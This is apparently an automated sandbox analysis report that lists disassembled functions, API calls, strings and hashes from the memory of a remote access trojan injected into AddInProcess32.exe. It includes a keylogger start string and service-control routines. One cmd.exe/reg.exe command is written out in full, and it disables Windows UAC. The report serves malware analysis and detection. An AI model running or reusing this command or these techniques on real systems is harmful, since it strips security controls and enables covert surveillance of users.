                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,0041A41F,00000000), ref: 0041AD2D
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A41F,00000000), ref: 0041AD3A
                                                        • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0041A41F,00000000), ref: 0041AD6F
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A41F,00000000), ref: 0041AD81
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,0041A41F,00000000), ref: 0041AD84
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                        • String ID:
                                                        • API String ID: 493672254-0
                                                        • Opcode ID: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
                                                        • Instruction ID: 77e668261cf9ee2bd18e5a0e87596c089765e66a1be6d3c981f75cbf7ed2a716
                                                        • Opcode Fuzzy Hash: f3d4b447748c037b2dac55463b57a149c398f0d820f611c96b244fdc7ed94624
                                                        • Instruction Fuzzy Hash: A7016D311462157AD6111B34AC4EFFB3B6CDB02772F10032BF625965D1DA68CE8195AB
                                                        Function 0044A084 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: __alldvrm$_strrchr
                                                        • String ID: PkGNG
                                                        • API String ID: 1036877536-263838557
                                                        • Opcode ID: 8f78adc186be73fa66820e99e070c83f6be0ee509df7c4dfd67e0dde8c439993
                                                        • Instruction ID: 8ce1af842cd152cb2b2428f5d584a25f6c9224aafe101b92c03b71ca88d34985
                                                        • Opcode Fuzzy Hash: 8f78adc186be73fa66820e99e070c83f6be0ee509df7c4dfd67e0dde8c439993
                                                        • Instruction Fuzzy Hash: 87A156729846829FF721CF58C8817AEBBA5FF15314F2841AFE8859B381D27C8C51C75A
                                                        Function 00448295 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLastError.KERNEL32(?,0043F770,0043A875,0043F770,00474EF8,PkGNG,0043CE65,FF8BC35D,00474EF8,00474EF8), ref: 00448299
                                                        • _free.LIBCMT ref: 004482CC
                                                        • _free.LIBCMT ref: 004482F4
                                                        • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448301
                                                        • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044830D
                                                        • _abort.LIBCMT ref: 00448313
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ErrorLast$_free$_abort
                                                        • String ID:
                                                        • API String ID: 3160817290-0
                                                        • Opcode ID: c2591106eec843b6d6e807480f59c56eb64d59fc50806e925db96e87570db6c2
                                                        • Instruction ID: 8d34d3ffa9a8a5ca7629c839d325bdddc3ef58a145117f7ac1d0225592351e3a
                                                        • Opcode Fuzzy Hash: c2591106eec843b6d6e807480f59c56eb64d59fc50806e925db96e87570db6c2
                                                        • Instruction Fuzzy Hash: 8EF0A435101B006BF611772A6C06B6F26599BD3B69F36042FFD18962D2EF6DCC42816D
                                                        Function 0041AB37 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB46
                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB5A
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB67
                                                        • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB76
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB88
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A6B4,00000000), ref: 0041AB8B
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                        • String ID:
                                                        • API String ID: 221034970-0
                                                        • Opcode ID: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                                        • Instruction ID: 443f58cffa4f299642b313368f914f767bd977a6fac550f0ec2f38f013616b5a
                                                        • Opcode Fuzzy Hash: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                                        • Instruction Fuzzy Hash: E4F0F631541318BBD7116F259C49DFF3B6CDB45B62F000026FE0992192EB68DD4595F9
                                                        Function 0041AC3B Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC4A
                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC5E
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC6B
                                                        • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC7A
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC8C
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A634,00000000), ref: 0041AC8F
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                        • String ID:
                                                        • API String ID: 221034970-0
                                                        • Opcode ID: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
                                                        • Instruction ID: 80b71cf000cc834045a6d48b23744411b71cc7e49355023a2f572df053a73ec4
                                                        • Opcode Fuzzy Hash: 94d93926ec858c5890fc603d54741d931e0eaafa3f6b468ff921a10e10d86c77
                                                        • Instruction Fuzzy Hash: 73F0C231501218ABD611AF65AC4AEFF3B6CDB45B62F00002AFE0992192EB38CD4595E9
                                                        Function 0041ACA2 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,00000001,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACB1
                                                        • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACC5
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACD2
                                                        • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACE1
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACF3
                                                        • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A5B4,00000000), ref: 0041ACF6
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Service$CloseHandle$Open$ControlManager
                                                        • String ID:
                                                        • API String ID: 221034970-0
                                                        • Opcode ID: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
                                                        • Instruction ID: 4c72e2560426042a93d841201029be6eaa37955ba2c7d49e75f16ae618c5df44
                                                        • Opcode Fuzzy Hash: 4f42f77feb4e09d2984437374767d6fba58dab4553ac710dbf5187c031f369c2
                                                        • Instruction Fuzzy Hash: 85F0F631501228BBD7116F25AC49DFF3B6CDB45B62F00002AFE0992192EB38CD46A6F9
                                                        Function 00442851 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: PkGNG
                                                        • API String ID: 0-263838557
                                                        • Opcode ID: 423e02715d989b220add50ecbde53982322c6e48bca96a6cd7fe69295545b5c8
                                                        • Instruction ID: b0a34e1ed6630e1fb57c9e62860a3601010315cd62f19612bff23542d182db60
                                                        • Opcode Fuzzy Hash: 423e02715d989b220add50ecbde53982322c6e48bca96a6cd7fe69295545b5c8
                                                        • Instruction Fuzzy Hash: 70412AB1600704BFE724AF79CD41B5EBBE8EB88714F10462FF145DB281E3B999058798
                                                        Function 00404CC3 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121synchronizationthreadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                                                        • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404DD2
                                                        • CloseHandle.KERNEL32(?), ref: 00404DDB
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                                        • String ID: PkGNG
                                                        • API String ID: 3360349984-263838557
                                                        • Opcode ID: 77a6d032992f3495e2e52a01d2ead9a1ebcb79a8041a0f526cc04fc7fe31482d
                                                        • Instruction ID: 30d48123e17294c38ae6f490953f1b42a5ca81467cb0df1087f173bd09261e59
                                                        • Opcode Fuzzy Hash: 77a6d032992f3495e2e52a01d2ead9a1ebcb79a8041a0f526cc04fc7fe31482d
                                                        • Instruction Fuzzy Hash: 684182B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                                                        Function 0040B19F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B1AD
                                                        • wsprintfW.USER32 ref: 0040B22E
                                                          • Part of subcall function 0040A671: SetEvent.KERNEL32(?,?,00000000,0040B245,00000000), ref: 0040A69D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: EventLocalTimewsprintf
                                                        • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                                                        • API String ID: 1497725170-248792730
                                                        • Opcode ID: b92970106d7d5ed65003fb4f3b7a0e91fd1e2f7406e6a9ff2526561c329a63fb
                                                        • Instruction ID: 4bcbbea8953a56f0834a7592719eb704c83d71ae81c48fe005db4fd1b538d991
                                                        • Opcode Fuzzy Hash: b92970106d7d5ed65003fb4f3b7a0e91fd1e2f7406e6a9ff2526561c329a63fb
                                                        • Instruction Fuzzy Hash: 88114272404118AACB19AB96EC55CFE77BCEE48315B00012FF506A61D1FF7C5A45C6AD
                                                        Function 0040A6B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0040A788), ref: 0040A6E6
                                                        • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A788), ref: 0040A6F5
                                                        • Sleep.KERNEL32(00002710,?,?,?,0040A788), ref: 0040A722
                                                        • CloseHandle.KERNEL32(00000000,?,?,?,0040A788), ref: 0040A729
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$CloseCreateHandleSizeSleep
                                                        • String ID: XQG
                                                        • API String ID: 1958988193-3606453820
                                                        • Opcode ID: 09b71735cca9286fb237afdc81f34cc8b89fa37515d8f2a58262fc809d9c95cd
                                                        • Instruction ID: fa029248b1ac628aedb802b18ed81a98d1a4018e107c0b234daa3009ae89debe
                                                        • Opcode Fuzzy Hash: 09b71735cca9286fb237afdc81f34cc8b89fa37515d8f2a58262fc809d9c95cd
                                                        • Instruction Fuzzy Hash: 96110130600740AADA31A734988961F7BA9DB45356F44483EF1866B6D3C67DDC64C71F
                                                        Function 0041D5A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegisterClassExA.USER32(00000030), ref: 0041D5EC
                                                        • CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 0041D607
                                                        • GetLastError.KERNEL32 ref: 0041D611
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ClassCreateErrorLastRegisterWindow
                                                        • String ID: 0$MsgWindowClass
                                                        • API String ID: 2877667751-2410386613
                                                        • Opcode ID: 722de5e8388a8877474a119f468a3301e062738380f3873f65828015e8b741e1
                                                        • Instruction ID: e808ecd18ef19f47bd472c0c6462b34ef8490c58390ad3ae495a6aa035ed2a4b
                                                        • Opcode Fuzzy Hash: 722de5e8388a8877474a119f468a3301e062738380f3873f65828015e8b741e1
                                                        • Instruction Fuzzy Hash: 1F0125B1D00219ABDB00DFA5EC849EFBBBCEA08355F40453AF914A6241EB7589058AA4
                                                        Function 00407790 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 004077D6
                                                        • CloseHandle.KERNEL32(?), ref: 004077E5
                                                        • CloseHandle.KERNEL32(?), ref: 004077EA
                                                        Strings
                                                        • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 004077CC
                                                        • C:\Windows\System32\cmd.exe, xrefs: 004077D1
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseHandle$CreateProcess
                                                        • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                        • API String ID: 2922976086-4183131282
                                                        • Opcode ID: c38a1c4fbaf06b70ee3143182280ce63ac5342037887d892980c2b2f1eb259a7
                                                        • Instruction ID: 1887ccd63cb29ce90d3c4a9dee080bc6fb52b3336ad705aa4023eed0db3a7680
                                                        • Opcode Fuzzy Hash: c38a1c4fbaf06b70ee3143182280ce63ac5342037887d892980c2b2f1eb259a7
                                                        • Instruction Fuzzy Hash: 04F09672D4029C76CB20ABD7AC0EEDF7F3CEBC5B11F00051AF904A2045DA745400CAB5
                                                        Function 0040729B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • SG, xrefs: 00407715
                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe, xrefs: 004076FF
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID: SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                                                        • API String ID: 0-1732489412
                                                        • Opcode ID: 534232ae4986bc0cd44d5d9dbb6e579f37bf6e7b645008295a27304146529b35
                                                        • Instruction ID: 5ffff352cfcc2e87221e4fa572a01d73507d198e899e6baa5594ec663d9dd15d
                                                        • Opcode Fuzzy Hash: 534232ae4986bc0cd44d5d9dbb6e579f37bf6e7b645008295a27304146529b35
                                                        • Instruction Fuzzy Hash: 8DF02BB0E04600EBCB1477345D296AA3656A780397F40487BF507EB2F2EBBD5C41871E
                                                        Function 004050E4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EF8), ref: 00405120
                                                        • SetEvent.KERNEL32(?), ref: 0040512C
                                                        • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00405137
                                                        • CloseHandle.KERNEL32(?), ref: 00405140
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                        • String ID: KeepAlive | Disabled
                                                        • API String ID: 2993684571-305739064
                                                        • Opcode ID: 260c2b08e01b5d66b359e99273a0c89895ec309b6af50f33d4504d26b953d9d7
                                                        • Instruction ID: dc79248355977efa3495ea8e96f68553e1f2867eb32bbe7dc6984d352a193ca4
                                                        • Opcode Fuzzy Hash: 260c2b08e01b5d66b359e99273a0c89895ec309b6af50f33d4504d26b953d9d7
                                                        • Instruction Fuzzy Hash: 5DF06D71904711BBDB203B758D0AAAB7E95AB06315F0009BEF982916E2D6798C408F9A
                                                        Function 0041CDE9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041CE7E), ref: 0041CDF3
                                                        • GetConsoleScreenBufferInfo.KERNEL32(00000000,?,?,?,?,?,?,?,0041CE7E), ref: 0041CE00
                                                        • SetConsoleTextAttribute.KERNEL32(00000000,0000000C,?,?,?,?,?,?,0041CE7E), ref: 0041CE0D
                                                        • SetConsoleTextAttribute.KERNEL32(00000000,?,?,?,?,?,?,?,0041CE7E), ref: 0041CE20
                                                        Strings
                                                        • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041CE13
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Console$AttributeText$BufferHandleInfoScreen
                                                        • String ID: ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/
                                                        • API String ID: 3024135584-2418719853
                                                        • Opcode ID: e39debb9b2b39d29e793f9bd33498d8add4ef2108ba1fa2e7e75c33182c8a1d6
                                                        • Instruction ID: 3099d3b49c49d1df3d44327ff87017ee7d1b0803ff7cdb2815dc6b7c28d9377e
                                                        • Opcode Fuzzy Hash: e39debb9b2b39d29e793f9bd33498d8add4ef2108ba1fa2e7e75c33182c8a1d6
                                                        • Instruction Fuzzy Hash: B6E04872504315E7E31027B5EC4DCAB7B7CE745613B100266FA16915D39A749C41C6B5
                                                        Function 0040140A Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 7libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressHandleModuleProc
                                                        • String ID: GetCursorInfo$User32.dll$`#v
                                                        • API String ID: 1646373207-1032071883
                                                        • Opcode ID: d896883a00b7c9d91a41f0e937368129b1e8cf7bb1ae53218dcc7360cef0261f
                                                        • Instruction ID: 8b26e8b19aea132afe7ec2793fcae50f4a2deac5c44528798ee909e27cd98dc2
                                                        • Opcode Fuzzy Hash: d896883a00b7c9d91a41f0e937368129b1e8cf7bb1ae53218dcc7360cef0261f
                                                        • Instruction Fuzzy Hash: 6BB092B4981740FB8F102BB0AE4EA193A25B614703B1008B6F046961A2EBB888009A2E
                                                        Function 004413EA Relevance: 7.7, APIs: 5, Instructions: 222COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 3500d967bf213ad3b95b014004bc41782de99095ad53c5e0f3d0147f9504bf37
                                                        • Instruction ID: 15e211ccade7fc2a5debfa8ad78d9bfa955d5b29a73147504924d067d3782226
                                                        • Opcode Fuzzy Hash: 3500d967bf213ad3b95b014004bc41782de99095ad53c5e0f3d0147f9504bf37
                                                        • Instruction Fuzzy Hash: 2771D4319012569BEB21CF55C884AFFBB75EF55310F19412BE815672A0DB78CCC1CBA8
                                                        Function 004493E5 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F244), ref: 0044944F
                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 004494C7
                                                        • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 004494F4
                                                        • _free.LIBCMT ref: 0044943D
                                                          • Part of subcall function 00446802: HeapFree.KERNEL32(00000000,00000000,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?), ref: 00446818
                                                          • Part of subcall function 00446802: GetLastError.KERNEL32(?,?,00450CEF,?,00000000,?,00000000,?,00450F93,?,00000007,?,?,004514DE,?,?), ref: 0044682A
                                                        • _free.LIBCMT ref: 00449609
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                        • String ID:
                                                        • API String ID: 1286116820-0
                                                        • Opcode ID: 5cd2e88b37ead4a53a3ad7e2b8222e2e62bf3e8d34a7aba608fbabac987024fa
                                                        • Instruction ID: 45cf5ea20785abb2a7eec221213eb08c1b8584214e6df16efc40294c4842d026
                                                        • Opcode Fuzzy Hash: 5cd2e88b37ead4a53a3ad7e2b8222e2e62bf3e8d34a7aba608fbabac987024fa
                                                        • Instruction Fuzzy Hash: 1B51EC71900205ABEB14EF69DD819AFB7B8EF44724F20066FE418D3291EB789D41DB58
                                                        Function 0040F938 Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041C048: GetCurrentProcess.KERNEL32(?,?,?,0040DAE5,WinDir,00000000,00000000), ref: 0041C059
                                                        • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F956
                                                        • Process32FirstW.KERNEL32(00000000,?), ref: 0040F97A
                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040F989
                                                        • CloseHandle.KERNEL32(00000000), ref: 0040FB40
                                                          • Part of subcall function 0041C076: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,0040F634,00000000,?,?,00475338), ref: 0041C08B
                                                          • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C286
                                                          • Part of subcall function 0041C26E: OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C299
                                                        • Process32NextW.KERNEL32(00000000,0000022C), ref: 0040FB31
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Process$OpenProcess32$Next$CloseCreateCurrentFirstHandleSnapshotToolhelp32
                                                        • String ID:
                                                        • API String ID: 4269425633-0
                                                        • Opcode ID: f228ff349881c5e95adb389dcff9344117252c23684542f11b6a3310bcbf0aa2
                                                        • Instruction ID: d02cab962e177bd28921c4f9a71df23b762ba7d31cecf8da060328e0f3db66c6
                                                        • Opcode Fuzzy Hash: f228ff349881c5e95adb389dcff9344117252c23684542f11b6a3310bcbf0aa2
                                                        • Instruction Fuzzy Hash: 5F4136311083419BC325F722DC51AEFB3A5AF94305F50493EF58A921E2EF385A49C65A
                                                        Function 00443E99 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free
                                                        • String ID:
                                                        • API String ID: 269201875-0
                                                        • Opcode ID: 1c82e8231a1e7df7fc61a9fb39ee41d92c56425fa3e393906510b0ca3dcf776a
                                                        • Instruction ID: bbec49e9ccdd5c2af131aecc9b6810ea24321c3eb42f74c08fbdd36582e243a3
                                                        • Opcode Fuzzy Hash: 1c82e8231a1e7df7fc61a9fb39ee41d92c56425fa3e393906510b0ca3dcf776a
